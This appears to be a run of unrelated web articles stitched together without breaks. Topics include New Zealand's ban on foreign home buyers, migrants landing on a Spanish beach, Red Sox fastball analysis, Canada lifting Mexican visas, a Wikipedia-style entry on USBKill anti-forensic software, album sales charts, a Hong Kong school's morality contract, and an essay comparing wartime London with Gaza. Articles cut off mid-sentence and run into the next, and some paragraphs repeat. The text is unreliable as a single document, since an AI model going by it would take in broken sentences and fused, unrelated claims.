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said.
"Kiwis should not be outbid like this."
The politically-sensitive housing crunch in New Zealand has seen prices rise more than 50% nationally in the last decade.
In the city of Auckland, prices have almost doubled in that period.
The country’s central bank sees fast-rising prices as a major economic risk.
Ms Ardern said the ban would not apply to Australians, given New Zealanders are exempt from home ownership restrictions in neighbouring Australia, where many New Zealanders live.
Ms Ardern told reporters that legislation would be introduced in parliament before Christmas.
The restrictions were being fast-tracked so that the Labour party would not have to renegotiate foreign investment provisions in the Trans Pacific Partnership (TPP) deal, after a long series of talks to revive the agreement since the United States pulled out in January.
The TPP currently requires its 11 member states to give foreign investors equal treatment to locals unless there are specific exemptions.
New Zealand had no such grounds for an outright ban on overseas investment in housing, but its Overseas Investment Act is exempt from the trade deal.
By adding housing to that legislation, Labour will be able to move ahead with the ban without having to request any changes to the TPP when ministers meet on the sidelines of an Asia-Pacific Economic Cooperation meeting in Vietnam next week to finalise the agreement.
Ms Ardern said that New Zealand would instead focus on renegotiating rules allowing investors to sue member countries included in the TPP, though she acknowledged it would be difficult to get large changes so late in negotiations.
Some government figures show the number of home sales including foreigners is only around 3%, though Labour has criticised that data and says it excludes many types of owners, including those who purchase property through trusts.
"It is very important that we preserve these rights for New Zealand," Trade Minister David Parker said.A group of migrants abandon their dinghy and run up the Playa de los Alemanes in southern Spain. Twitter/Jaime Moreno
A boat full of migrants landed on a busy Spanish tourist beach in the middle of the day, showing how Europe's migration crisis is shifting further west.
Footage recorded by sunbathers on Wednesday shows a black dinghy carrying 20 to 30 people land on Playa de los Alemanes, a beach near the Strait of Gibraltar. The people inside can then be seen disembarking and running up the beach.
The footage was posted on Twitter by Jaime Moreno, who said his sister was on the beach and sent him a recording of what happened:
The incident is a stark demonstration of how the flow of migrants from Africa and the Middle East to Europe has steadily shifted westward since it first flared up in 2015.
The first flashpoint was around Turkey and the Greek islands, where hundreds of thousands of people made the short sea crossing to reach European soil.
Stricter border policing, and a political deal between Turkey and the EU, helped reduce the flow there.
Map showing Playa de los Alemanes on the Spanish coast. Google Maps/Business Insider
Italy soon replaced Greece as the centre of events, with the greatest number of migrants travelling from Libya across the Mediterranean.
But crossings from Morocco to Spain — a distance of nine miles at its narrowest point — are growing rapidly.
According to UN figures published in July, Italy was still the most popular entry point to Europe, with 59,000 arrivals in the first half of 2017.
But newer data from the Italian government has suggested that figures are beginning to fall, in part because of increased sea patrols by the Libyan Navy and the EU.
Some 6,800 people arrived in Spain between January and May this year, nearly 90% fewer than in Italy. But the figure has risen 75% in a single year, suggesting that the movement is beginning to shift.Having taken advantage of a recent Yankees slump, the Red Sox are tied for first in the American League East. Though one of the big conversations about the team was how it would respond to losing David Ortiz, the Sox so far have also gotten very little from David Price. They’ve gotten nothing from would-be shutdown relievers Carson Smith and Tyler Thornburg. On the pitching and health side, things have gone anything but smoothly, and yet the Red Sox are fifth-best in runs allowed per game. By overall pitching WAR, they’re fourth. Their rotation ranks fourth, and their bullpen ranks fifth. The Red Sox have had one of the more effective pitching staffs in major league baseball.
Of course, so much is about the personnel. The Sox have seen the very best of Chris Sale, and they’ve also seen the very best of Craig Kimbrel. It’s not easy to find a better starting pitcher, or a better option to close a game down. But we can talk at least a little about team strategy. It’s not something we talk about often, but pitching staffs can and do have tactics, and the Red Sox are aiming their fastballs higher than anyone.
Why does that matter? Well, I already told you how the Red Sox have pitched, overall. But we can break things down further by isolating how the fastballs have done, themselves. According to Baseball Savant, Red Sox pitchers have allowed baseball’s lowest wOBA on fastballs. Folding in Statcast information, they’ve allowed baseball’s second-lowest expected wOBA on fastballs. Looking at the numbers right here, the Red Sox rank first in baseball in fastball run value. The Sox have pitched well, and they’ve pitched off their heaters.
And those heaters, combined, have been very unusual. You already know how, because of the headline. Before getting into that, here’s some league context. Baseball Savant recently added some new search features, allowing you to search by average pitch location. In this plot, you can see the league-average fastball heights, over the past decade. This is expressed in feet, and the middle of the strike zone is usually right around 2.5.
Recently, we’ve seen a very modest rebound. Fastballs achieved their lowest average height in 2015. Since then, the average height has gone back up a little bit, although it’s still shy of where it was even a few years ago. This is something we’ve discussed before, as hitters are getting better and better at taking the low pitch deep. There’s possible value to be gained by attacking fly-ball hitters up. The league is slow to adjust to the adjustment, but baseball does very few things all of a sudden.
Anyway, that shows the league trend, as a whole. Now we can focus on 2017, and break things down on a team-by-team basis. Here are every team’s average fastball heights:
The Orioles are throwing baseball’s lowest fastballs. On average, their heaters have crossed the plate 2.34 feet above the ground. That’s only barely lower than the Rangers and Astros. But your attention is probably most drawn to the team at the extreme left. The Red Sox are throwing baseball’s highest fastballs. On average, their heaters have crossed the plate 2.84 feet above the ground, which means the gap between the Sox and the Orioles is an even six inches. The Sox are separated from the second-place Rays here by a decent margin, and the Sox also have the largest such increase compared to last year:
I switched the units here from feet to inches just because the numbers otherwise look pretty small. Even last season, the Red Sox, as a staff, threw baseball’s second-highest fastballs, but now they’ve gone up another 1.8 inches. There’s presumably something to be written about the Astros, down at the other end, but that’s something for another day. The Red Sox threw high, and now they throw more high. They’ve done the very opposite of regress to the mean.
It isn’t just a matter of adding different pitchers. Many of the Red Sox pitchers are just throwing their fastballs higher than they used to. There are 398 pitchers who have thrown at least 100 fastballs in both 2016 and 2017. Here are all of their year-to-year average fastball heights, and I’ve highlighted the Red Sox pitchers in dark red.
The average increase for a pitcher now on the Red Sox is +2.3 inches. That’s the largest increase in baseball, north of the Nationals’ +1.6. My analysis includes 11 pitchers on the Sox. Of those, 10 have shown some kind of increase in average fastball height, led by Blaine Boyer, who’s up more than six inches. Only Eduardo Rodriguez has thrown his average fastball lower, and that’s been by about one inch. And he’s dealt with some health issues that might’ve somewhat messed up his motion. It seems like a pattern, and now that we’re through almost three months of the regular season, I don’t know how you could call it an accident.
Just how extreme have these Red Sox been? Since we have 9.5 years of pitch-tracking information, that means we have data for 300 individual team-seasons. Now, the 2017 season isn’t complete, so those numbers could change, but this isn’t the kind of thing that strikes me as being particularly subject to noise. Anyhow, this table includes the 10 pitching staffs with the highest average fastballs on record:
Highest Team Fastballs, 2008 – 2017 Team Year Height Red Sox 2017 2.84 Rays 2016 2.75 Red Sox 2011 2.74 Cubs 2008 2.73 Giants 2008 2.73 Red Sox 2009 2.72 White Sox 2010 2.72 Giants 2010 2.72 Dodgers 2009 2.70 Twins 2009 2.70 SOURCE: Baseball Savant
That’s this year’s Red Sox in first, leading last year’s Rays by a full inch. To give this a familiar comparative construct, the difference between first and second place here is the same as the difference between second place and 22nd. It’s correct to say the Red Sox have done something extreme, and although it’s not something you’d necessarily notice in the flow of things, and although it’s not the whole reason why the Red Sox have been successful, every pitch works together, and these pitches have forced hitters to raise their eye levels.
Making the Red Sox all the more interesting: By average fastball height, they rank first in baseball in zero-strike counts, one-strike counts, and two-strike counts. However, in terms of just fastball rate, the Sox rank 29th in baseball in zero-strike counts. They move to seventh in one-strike counts, and then finally first in two-strike counts. The Red Sox are clearly using the high fastball as a putaway weapon, and that explains why they lead baseball in fastball strikeouts, by a margin of 74. Once again, over the course of an individual game or series, it might not be something that stands out, but there’s no mistaking the strategy now, with 75 games in the bag.
The Red Sox have pitched well because they have good pitchers. But they’ve also adjusted those pitchers, making tweaks of varying magnitudes, mostly in the same general direction. These Red Sox fastballs have been thrown higher than any other team fastballs we’ve seen in recent history. It’s not a mistake, and neither is Boston’s place in the standings.Mexican citizens with freshly taken passport photos walk toward a line to enter the Consul General of Mexico in San Francisco in 2007. | AP Photo Canada to drop Mexican visa restrictions By Louis Nelson By | 06/28/16 03:21 PM EDT
With Donald Trump pledging to build a border wall to keep Mexicans out of the United States, Canada is rolling out the welcome mat.
Canadian Prime Minister Justin Trudeau announced Tuesday that his nation will drop its visa requirement for Mexican citizens, effective Dec. 1.
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“The Government of Canada has made it a top priority to re-establish and strengthen our relationship with one of our most important partners, Mexico,” the release announcing the decision said. “Lifting the visa requirement will deepen ties between Canada and Mexico and will increase the flow of travellers, ideas, and businesses between both countries.”
In exchange, Mexican President Enrique Peña Nieto agreed to drop the country's ban on Canadian beef products in October. The agreement comes a day before President Barack Obama is scheduled to travel to Ottawa, Canada, for his final North American Leader Summit with his Canadian and Mexican counterparts.
Trudeau has largely avoided commenting on the presidential election, dancing around questions about Trump by pointing to past disagreements between U.S. presidents and Canadian prime ministers and promising a “very constructive and positive relationship” with whomever Americans elect.
But much of the popular prime minister’s policies are opposite to proposals pushed by Trump, and their differences are perhaps nowhere more obvious on immigration. Trump has promised to keep out not just undocumented immigrants from Mexico but also refugees fleeing violence in the Middle East. Trudeau has welcomed Middle Eastern refugees, But much of the popular prime minister’s policies are opposite to proposals pushed by Trump, and their differences are perhaps nowhere more obvious on immigration. Trump has promised to keep out not just undocumented immigrants from Mexico but also refugees fleeing violence in the Middle East. Trudeau has welcomed Middle Eastern refugees, some personallyApparently, this is the week to expose Tennessee fans and all of their eccentricities.
Thursday, a Tennessee fan won the "Best Facial Hair Ever" award by shaving his facial hair into the Tennessee logo and Friday Clay Travis of Outkick the Coverage (and emailer Doug) bring us another Tennessee fan who has made his fanaticism a fixture on his body — or should we say his eye socket.
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Yep, look closely folks, that is a glass eye with the "Power T" on it.
Don't look away. Stare into it; be mesmerized by it. Let it transport you to a place of Tyler Bray back tattoos and Derek Dooley orange pants.
You know, I was thinking the other day that Dr. Saturday doesn't do enough on the glass eye college football culture. I know this Tennessee fan is not alone. Email us your glass eye photos (email button is on the right) and we will compile and choose a favorite. We've done tattoos and facial hair, but now it's time to bring glass eyes out of the dark and let the world see them for their beauty. I know, there were all sort of puns in that last sentence.
H/T to Outkick the Coverage
"Like" Dr. Saturday on Facebook for football conversations and stuff you won't see on the blog. And follow Dr. Saturday at its new home on Twitter: @YahooDrSaturdayVideo: Order an Uber on Google Maps
Figuring out the fastest way to get to your destination just got a lot easier. Google Maps has added car hailing to its list of transportation method options, which means you can order an Uber without leaving the app.
Next time you have somewhere to go, don't bother opening the Uber app. As long as your apps are up-to-date and you're logged in to your Uber account, you should have the new ride-hailing option as soon as you open the Google Maps app.
How to order an Uber with Google Maps
Search for, or type in, your destination and map it out as usual. Once you see your route, swipe right on the transportation options on the top of the screen until you come across the stick figure holding a briefcase and select.
This will prompt a pop-up screen on the bottom showing price estimates and wait times for both Uber and Lyft. And though both show up as results, for now only Uber lets you complete the transaction without leaving the Maps app.
Click on the Uber tab at the top. The interface is not exactly what you're used to seeing in the Uber app, but you still have the same basic options for comparing prices and wait times. Next, select your ride type (Pool, UberX, Uber XL, Select, Black or SUV) and click request.
This will prompt you to select a payment method. It defaults to the card on file for your Uber account, but you can easily add a different one or even use Android Pay if you have it set up on your phone.
If you've already linked Uber to your Google account, you should see the tiny car icon making its way to you as soon as you hit the "Book it" button on the bottom right. If not, you'll see a pop-up screen prompting you to do so before you book.
Once your driver is en route you can contact him or her directly from Google Maps or cancel your ride. You'll still be notified when the car arrives, and the actual ride is exactly the same.
The only thing you may still have to use the Uber app for is to rate your driver after the ride.
And if you need more incentive to book via Google Maps, Uber is currently offering a $15 credit toward your first ride using Maps for both Android and iOS users. In the UK, the credit is £20Versatile. That's the first word that comes to my mind when I think of Motionless In White. This album is the best example of exactly that. With Infamous, the electronic/Manson side of the band started to pop out more so I had expected them to go even further in that direction with this album. I really wouldn't have been too surprised if they had gone 100% in that direction. They definitely lean that way a lot more on this album than any album in the past but they still kept their original metalcore roots, along with some completely new influences. It's like a roller coaster ride. It starts out with a very straight forward, industrial, and Manson-esque song that doesn't really change pace/tempo and quickly changes it up on the next song with parts that go from electronic intro to upbeat industrial to melodic metalcore and so on. Some of the album reminds me of some early Bleeding Through songs, as far as the diversity within just one song, and the electronic parts are just as diverse also. They essentially go through almost every sub-genre of both industrial metal and metalcore without sounding schizophrenic and/or disorganized. There's a few guest vocalists which all work well for their songs but Chris Motionless is pretty much a guest vocalist to himself. I remember years ago when vocalists finally started mastering being able to scream and sing well altogether (like Killswitch Engage) but Chris can change his scream sound and his singing vocals in a way that leaves no portion feeling lacking or 'the weakest link' in any way. The instrumental section of the band does as good of a job, as well. The main reason that I gave this album 5 stars is the fact that I've never heard so many sub-genres within a single album, outside of the prog arena. I hope that MIW can keep the diversity going on albums to come.Anti-forensic software designed to react to unfamiliar USB devices
This article is about the computer software. For the USB device, see USB Killer
USBKill is anti-forensic software distributed via GitHub, written in Python for the BSD, Linux and OS X operating systems. It is designed to serve as a kill switch if the computer on which it is installed should fall under the control of individuals or entities the owner or operator does not wish it to.[1] It is free software, available under the GNU General Public License.[2]
The program's developer, who goes by the online name Hephaest0s, created it in response to the circumstances of the arrest of Silk Road founder Ross Ulbricht, during which U.S. federal agents were able to get access to incriminating evidence on his laptop without needing his cooperation by copying data from its flash drive after distracting him.[3] It maintains a whitelist of devices allowed to connect to the computer's USB ports; if a device not on that whitelist connects, it can take actions ranging from merely returning to the lock screen to encrypting the hard drive, or even deleting all the data on it. However, it can also be used as part of a computer security regimen to prevent the surreptitious installment of malware or spyware or the clandestine duplication of files, according to its creator.[4]
Background [ edit ]
When law enforcement agencies began making computer crime arrests in the 1990s, they would often ask judges for no knock search warrants, in order to deny their targets time to delete incriminating evidence from computers or storage media. In more extreme circumstances where it was likely that the targets could get advance notice of arriving police, judges would grant "power-off" warrants, allowing utilities to turn off the electricity to the location of the raid shortly beforehand, further forestalling any efforts to destroy evidence before it could be seized. These methods were effective against criminals who produced and distributed pirated software and movies, the primary large-scale computer crime of the era.[1]
By the 2010s, the circumstances of computer crime had changed along with legitimate computer use. Criminals were more likely to use the Internet to facilitate their crimes, and as such needed to remain online most of the time. To do so, and still keep their activities discreet, they used computer security features like lock screens and password protection.[1]
For those reasons, law enforcement now attempts to apprehend suspected cybercriminals with their computers on and in use, all accounts both on the computer and online open and logged in, thus easily searchable.[1] If they do not succeed in seizing the computer in that condition, there are some methods available to bypass password protection, but these may take more time than police have available. Nor may it be legally possible to compel the suspect to relinquish his or her password—in the United States, where many computer-crime investigations take place, courts have distinguished between forcing a suspect to use material means of protecting data such as a thumbprint, retinal scan or key as opposed to a password or passcode, which is purely the product of the suspect's mental processes and is thus protected from compelled disclosure by the Fifth Amendment.[5]
The usual technique for authorities, either public entities such as law enforcement or private organizations like companies, seizing a computer (usually a laptop) that they believe is being used improperly is to first physically separate the suspect user from the computer enough that he or she cannot touch it, to prevent them from closing its lid, unplugging it or typing a command. Once they have done so, they often install a device in the USB port that spoofs minor actions of a mouse, touchpad or keyboard, preventing the computer from going into sleep mode, from which it would usually return to a lock screen which would require a password.[6] One program commonly used for this purpose is Mouse Jiggler.[4][6][7]
Ross Ulbricht arrest [ edit ]
Agents with the U.S. Federal Bureau of Investigation (FBI) investigating Ross Ulbricht, founder of the online black market Silk Road, learned that he often ran the site from his laptop, using the wireless networks available at branches of the San Francisco Public Library. When they had enough evidence to arrest him, they planned to catch him in the act of running Silk Road, with his computer on and logged in. They needed to make sure he was not able to trigger any encryption or delete evidence when they did.[3]
In October 2013, a male and female agent pretended to have a lovers' quarrel near where he was working at the Glen Park branch. According to Business Insider Ulbricht was distracted and got up to see what the problem was, whereupon the female agent grabbed his laptop while the male agent restrained Ulbricht. The female agent was then able to insert a flash drive in one of the laptop's USB ports, with software that copied key files.[3] According to Joshuah Bearman of Wired, a third agent grabbed the laptop while Ulbricht was distracted by the apparent lovers' fight and handed it to agent Tom Kiernan.[8]
Use [ edit ]
In response to the circumstances of Ulbricht's arrest,[4] a programmer known as Hephaest0s developed the USBKill code in Python and uploaded it to GitHub in 2014. It is available as free software under the GNU General Public License and currently runs under both Linux and OS X.[4]
External video YouTube video demonstrating use
The program, when installed, prompts the user to create a whitelist of devices that are allowed to connect to the computer via its USB ports, which it checks at a default sample rate, a rate which can be adjusted. The user may also choose what actions the computer will take if it detects a USB device not on the whitelist (by default, it shuts down and erases data from the RAM and swap file). Users need to be logged in as root. Hephaest0s cautions users they must be using at least partial disk encryption along with USBKill to fully prevent attackers from gaining access;[4] Gizmodo suggests using a virtual machine that will not be present when the computer reboots.[9]
It can also be used in reverse, with a whitelisted flash drive in the USB port attached to the user's wrist via a lanyard serving as a key. In this instance, if the flash drive is forcibly removed, the program will initiate the desired routines. "[It] is designed to do one thing," wrote Aaron Grothe in a short article on USBKill in 2600, "and it does it pretty well." As a further precaution, he suggests users rename it to something innocuous once they have loaded it on their computers in case someone might be looking for it on a seized computer in order to disable it.[6]
In addition to its designed purpose, Hephaest0s suggests other uses not possibly connected to a user's desire to frustrate police and prosecutors. As part of a general security regimen, it could be used to prevent the surreptitious installation of malware or spyware on, or copying of files from, a protected computer. It is also recommended for general use as part of a robust security practice, even when there are no threats to be feared. [4]
Variations and modifications [ edit ]
With his 2600 article, Grothe shared a patch which also included a feature he had devised allowing the program to shut down a network when a non-whitelisted USB is inserted into any terminal.[6] Nate Brune, another programmer, created Silk Guardian, a version of USBKill that takes the form of a loadable kernel module, since he "[felt] that it could be implemented better than it already is."[10] In the issue of 2600 following Grothe's article, another writer, going by the name Jack D. Ripper, explained how Ninja OS, an operating system designed for live flash drives, handles the issue. It uses a bash script resident in memory that cycles a loop through the boot device (i.e., the flash drive) three times a second to see if it is still mounted and reboots the computer if it is not.[11]
See also [ edit ]
References [ edit ]This week, new additions placed in the Top 5 of Billboard’s Top 200 album charts. Those new additions include The Weeknd’s Kiss Land, 2 Chainz’ B.O.A.T.S. II: #MeTime and Janelle Monae’s The Electric Lady.
While new additions came in strong, last week’s debuts fell a few slots. For example, Ariana Grande’s Yours Truly fell from #1 to #9, Tamar Braxton’s Love & War fell from #2 to #8 and John Legend’s Love in the Future fell from #4 to #10.
It was the chart’s mainstays who continued their reign in the Top 30. In its 10th week on the charts, Jay Z’s Magna Carta Holy Grail, which has sold just over 974,000 copies to date, remained in the #18 spot it held last week. Macklemore & Ryan Lewis’ The Heist, which has sold over 1,069,000 copies to date, dropped from #27 to #30 in its 49th week on the charts.
The Weeknd Lands At #1 With Kiss Land
The Weeknd’s Kiss Land hit #1 on the charts this week in a close race against Keith Urban, who landed at #2. Recently, The Weeknd spoke about the significance and theme of the album. “Kiss Land symbolizes the tour life, but it’s a world that I created in my head,” The Weeknd said in an interview with Complex. “When I think about Kiss Land, I think about a terrifying place. It’s a place I’ve never been to before that I’m very unfamiliar with…A lot of it is inspired by filmmakers like John Carpenter, David Cronenberg, and Ridley Scott, because they know how to capture fear. That’s what Kiss Land is to me, an environment that’s just honest fear. I don’t know who I am right now and I’m doing all these outlandish things in these settings that I’m not familiar with. To me, it’s the most terrifying thing ever. So when you hear the screams in the record and you hear all these horror references and you feel scared, listen to the music because I want you to feel what I’m feeling. Kiss Land is like a horror movie.”
2 Chainz Sails To #3 With B.O.A.T.S. II: #MeTime
2 Chainz returns to the charts with B.O.A.T.S. II: #MeTime, an album that landed at #3 this week. The project, which contains the Pharrell-assisted single “Feds Watching,” was released through Def Jam and T.R.U. 2 Chainz also released a cookbook, with tour recipes, which accompanied the deluxe edition of the album. The album snuck into the Top 3 in its debut week, selling approximately 64,000 units. As the title suggests, B.O.A.T.S. II is a sequel to Based on a T.R.U. Story. By comparison, the first installment of this series sold approximately 147,000 units in its first week and it was #1 on the same charts.
Janelle Monae Electrifies At #5 With The Electric Lady
Janelle Monae’s The Electric Lady, released via Bad Boy/Atlantic, landed at #5 on the charts. The album boasts various guest stars, including Esperanza Spalding, Solange, Miguel, Prince and Erykah Badu. Monae’s success with Electric Lady follows 2010’s THE ARCHANDROID. According to Monae, Electric Lady was inspired by various notable figures in the film industry. “George Lucas [influenced this album],” Monae said in a recent interview with Hitflix. “I performed at his wedding reception…I met him and I got a chance to speak with Steven Spielberg, and these are people whose ideas, you know, if they weren’t able to make their movies, I don’t think that I would have been able to articulate my thoughts [in music]. They kind of showed me how to do that, I just wanted to do it with music.”
Hip Hop Album Sales: The Week Ending 9/15/2013
#1. The Weeknd – Kiss Land – 99,000 (99,000)
#3. 2 Chainz – B.O.A.T.S. II #MeTime – 64,000 (64,000)
#5. Janelle Monae – The Electric Lady – 47,000 (47,000)
#8. Tamar Braxton – Love & War – 35,000 (149,000)
#9. Ariana Grande – Yours Truly – 31,000 (169,000)
#10. John Legend – Love in the Future – 30,000 (98,000)
#18. Jay Z – Magna Carta Holy Grail – 17,000 (974,000)
#28. Juicy J – Stay Trippy – 13,000 (99,000)
#30. Macklemore & Ryan Lewis – The Heist – 12,000 (1,069,000)
#36. Big Sean – Hall of Fame – 9,000 (99,000)
#47. Kendrick Lamar – good kid, m.A.A.d. city – 6,000 (1,033,000)
* data comes from Nielsen Soundscan, rounded to nearest thousand for units above 10,000, nearest hundredth for units below 10,000. Each week, HipHopDX presents top albums in Hip Hop/related, and five notables.
Will The Roots & Elvis Costello reach a Top 10 placement next week? Stay tuned to HipHopDX.
Last Week’s Album Sales.
RELATED: Hip Hop Album Sales: The Week Ending 9/8/2013Want to have your dream wedding while sticking to a budget? These 15 wedding hacks will help you achieve your dream wedding without breaking the bank!
When it comes to weddings, it doesn’t have to be that difficult. Spending a ton of time and money isn’t necessary to have the wedding of your dreams. With a little creativity and ‘hacking’ it is possible to cut out a lot of time and money in the planning stages. If you are planning a wedding or know someone that is in the process, share this graphic with them. Chances are it will save them a lot of stress.
Feel free to share our infographic. Just copy/paste the code below for your blog, or use the share button at the top of this post for Pinterest, Facebook or Twitter.
By: Storymix Media – Capture all your guests’ photos and videos – and get an edited video – with the WeddingMix
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ArianeThe International Christian School of Hong Kong demands its employees align to a ‘Morality Contract,’ which, among other things, stipulates a heterosexual-only workforce and prohibits unmarried couples who live together from working in the school. These—to put it as lightly as possible—extremely specific guidelines have come under a good deal of criticism from anti-discrimination advocates and generally anti-bigoted onlookers alike.
The “Morality Contract” stipulates that teachers and employees can be confronted in areas of, “sexual orientation and behavior, marital and parental relationships, personal finances, addictive substances, and leisure activities.” It goes on to say that breaks with the school’s contract will be dealt with “in accordance with biblical principles Matthew 18: 15-19.” For those of you who aren’t up to speed on what Matthew’s been up to, that tract reads as follows:
15 If your brother or sister sins, go and point out their fault, just between the two of you. If they listen to you, you have won them over.
16 But if they will not listen, take one or two others along, so that ‘every matter may be established by the testimony of two or three witnesses.’
17 If they still refuse to listen, tell it to the church; and if they refuse to listen even to the church, treat them as you would a pagan or a tax collector.
18 “Truly I tell you, whatever you bind on earth will be[d] bound in heaven, and whatever you loose on earth will be[e] loosed in heaven.
19 “Again, truly I tell you that if two of you on earth agree about anything they ask for, it will be done for them by my Father in heaven.
Yeah, that sounds like the way an international education organization should manage its employees in the 21st century. It’s worth noting that this company’s employment policies situate cozily between Matthew 17, when “Jesus Heals a Demon-Possessed Boy” and Matthew 19, in which details the different types of eunuchs one may run into on a daily basis. In other words, the school’s hiring policies probably don’t reflect the most enlightened, modern thinking about its potential employees.
The wonderful Hong Wrong blog has taken this story and run with it, and they report:
In most developed countries, such discriminatory policies would be an affront to equal opportunity laws. However, Hong Kong’s Equal Opportunities Commission‘s rules deal only with disability, gender, ethnicity and family status discrimination. The city’s flimsy ‘Code of Practice‘ legislation for employers advises against homophobic recruitment practices, but it remains only a voluntary code. Employers in Hong Kong may still hire and fire workers simply because of who they love or choose to sleep with.
The China Daily has turned against the school as well, which quoted a local gay rights group representative who said, “Education is intended to train students to be as open-minded and cosmopolitan in their world view as possible, but this type of education closes people’s minds.”
Tuition at the International Christian School of Hong Kong ranges from HK$95,200 to HK$129,300 per year.
Follow @shanghaiistFormer Red Sox star Curt Schilling is considering a run against incumbent Massachusetts Senator Elizabeth Warren. While nothing is set in stone just yet (as he has to talk to his wife), Schilling said that he feels as though someone must stop Warren.
"I thought about it, and one of the things I would like to do is be one of the people responsible for getting Elizabeth Warren out of politics," he said. "I think she's a nightmare and I think that the Left is holding her up as the second coming of Hillary Clinton, but Lord knows we don't even need the first one."
Schilling, a sports hero in Boston after helping the 2004 Red Sox to their first World Series title in 86 years, said the decision would hinge on advice from campaign experts and "a conversation with the boss," his wife, Shonda.
Schilling was fired by ESPN earlier this year after sharing an image on Facebook that was deemed transphobic. On his Facebook page last week, he mused the idea of beginning a political career "soon."
Warren is up for reelection in 2018. Aside from Scott Brown's three-year stint in the Senate after the death of Ted Kennedy, the last Republican |
the population of London under the unceasing fire of the German Luftwaffe. He used the inhabitants of London as a human shield in his crazy war. While the civilian population was exposed to the bombs and rockets, without the protection of an “iron dome”, he was hiding in his bunker under 10 Downing Street.
He exploited all the inhabitants of London as hostages. When the German leaders made a generous peace proposal, he rejected it for crazy ideological reasons. Thus, he condemned his people to unimaginable suffering.
From time to time he emerged from his underground hideout to have his picture taken in front of the ruins, and then he returned to the safety of his rat hole. But to the people of London he said: “Future generations will say that this was your finest hour!”
The German Luftwaffe called on the inhabitants of London to leave the city, and many children were indeed evacuated. But most Londoners heeded the call of Churchill to remain, thus condemning themselves to the fate of “collateral damage”.
The German Luftwaffe had no alternative but to go on bombing the city. Its commanders announced that they were hitting only military targets, such as the homes of British soldiers, where military consultations were taking place.
The German Luftwaffe called on the inhabitants of London to leave the city, and many children were indeed evacuated. But most Londoners heeded the call of Churchill to remain, thus condemning themselves to the fate of “collateral damage”.
The hopes of the German high command that the destruction of their homes and the killing of their families would induce the people of London to rise up, kick out Churchill and his war-mongering gang, came to naught.
The primitive Londoners, whose hatred of the Germans overcame their logic, perversely followed the coward Churchill’s instructions. Their admiration for him grew from day to day, and by the end of the war he had become almost a god.
A statue of him stands even today in front of the parliament in Westminster.
Four years later the wheel had turned. The British and American air forces bombed the German cities and destroyed them completely. A stone did not remain on a stone, glorious palaces were flattened, cultural treasures were obliterated. “Uninvolved civilians” were blown to smithereens, burned to death or just disappeared. Dresden, one of the most beautiful cities in Europe, was totally destroyed within a few hours in a “fire storm”.
The official aim was to destroy the German war industry, but this was not achieved. The real aim was to terrorize the civilian population, in order to induce them to remove their leaders and capitulate.
That did not happen. Indeed, the only serious revolt against Hitler was carried out by senior army officers (and failed). The civilian population did not rise up. On the contrary. In one of his diatribes against the “terror pilots” Goebbels declared: “They can break our homes, but they cannot break our spirit!”
Germany did not capitulate until the very last moment. Millions of tons of bombs did not suffice. They only strengthened the morale of the population and its loyalty to the Führer.
And so to Gaza.
Gaza and Israel’s love-hate relationship with Hamas
Everyone is asking: who is winning this round?
Which must be answered, the Jewish way, with another question: how to judge?
The classical definition of victory is: the side that remains on the battlefield has won the battle. But here nobody has moved. Hamas is still there. So is Israel.
Carl von Clausewitz, the Prussian war theorist, famously declared that war is but the continuation of politics by other means. But in this war neither side had any clear political aims. So victory cannot be judged this way.
The intensive bombing of the Gaza Strip has not produced a Hamas capitulation. On the other hand, the intensive rocket campaign by Hamas, which covered most of Israel, did not succeed either. The stunning success of the rockets to reach everywhere in Israel has been met with the stunning success of the “Iron Dome” counter-rockets to intercept them.
So, until now, it is a standoff.
But when a tiny fighting force in a tiny territory achieves a standoff with one of the mightiest armies in the world, it can be considered a victory.
The lack of an Israeli political aim is the outcome of muddled thinking. The Israeli leadership, both political and military, does not really know how to deal with Hamas.
It may already have been forgotten that Hamas is largely an Israeli creation. During the first years of the occupation, when any political activity in the West Bank and the Gaza Strip was brutally suppressed, the only place where Palestinians could meet and organize was the mosque.
I once asked the Shin-Bet chief at the time whether his organization had created Hamas. His answer: “We did not create them. We tolerated them.”
At the time, Fatah was considered Israel’s arch-enemy. The Israeli leadership was demonizing Yasser Arafat, the arch-arch-terrorist. The Islamists, who hated Arafat, were considered the lesser evil, even secret allies.
I once asked the Shin-Bet chief at the time whether his organization had created Hamas. His answer: “We did not create them. We tolerated them.”
This changed only one year after the start of the first Intifada, when the Hamas leader Sheikh Ahmad Yassin was arrested. Since then, of course, reality has been completed reversed: Fatah is now an ally of Israel, from the security point of view, and Hamas the arch-arch-terrorist.
But is it?
Some Israeli officers say that if Hamas did not exist, it would have to be invented. Hamas controls the Gaza strip. It can be held responsible for what happens there. It provides law and order. It is a reliable partner for a ceasefire.
The last Palestinian elections, held under international monitoring, ended in a Hamas victory both in the West Bank and the Gaza Strip. When Hamas was denied power, it took it in the Gaza strip by force. By all reliable accounts, it enjoys the loyalty of the large majority in the territory.
All Israeli experts agree that if the Hamas regime in Gaza were to fall, far more extreme Islamic splinter groups would take over and plunge the Strip, with its 1.8 million inhabitants, into complete chaos. The military experts don’t like that.
So the war aim, if one can dignify it as such, is not to destroy Hamas, but to leave it in power, though in a much weakened state.
Options, delusions and smoking mirrors
But how, for God’s sake, does one do that?
One way, demanded now by the ultra-right-wingers in the government, is to occupy all of the Gaza Strip.
To which the military leaders again answer with a question: And then what?
A new permanent occupation of the Strip is a military nightmare. It would mean that Israel assumes the responsibility for pacifying and feeding 1.8 million people (most of whom, by the way, are 1948 refugees from Israel and their descendants). A permanent guerrilla war would ensue. No one in Israel really wants that.
Occupy and then leave? Easily said. The occupation itself would be a bloody operation. If the “Cast Lead” doctrine is adopted, it would mean more than a thousand, perhaps several thousands of Palestinian dead. This (unwritten) doctrine says that if a hundred Palestinians must be killed in order to save the life of one Israeli soldier, so be it. But if Israeli casualties amount to even a few dozens of dead, the mood in the country will change completely. The army does not want to risk that.
For a moment on 15 July it seemed as if a ceasefire had been achieved, much to the relief of Binyamin Netanyahu and his generals.
What will be the end of it? There will be no end, just round after round, unless a political solution is adopted.
But it was an optical illusion. The mediator was the new Egyptian dictator, a person loathed by Islamists everywhere. He is a man who has killed and imprisoned many hundreds of Muslim Brothers. He is an open military ally of Israel. He is a client for American largesse. Moreover, since Hamas arose as an offshoot of the Egyptian Muslim Brotherhood, General Abd-al-Fatah al-Sisi hates them with all his heart, and does not hide it.
So, instead of negotiating with Hamas, he did something exceedingly stupid: dictate a ceasefire on Israeli terms without consulting Hamas at all. Hamas leaders learned about the proposed ceasefire from the media and rejected it out of hand.
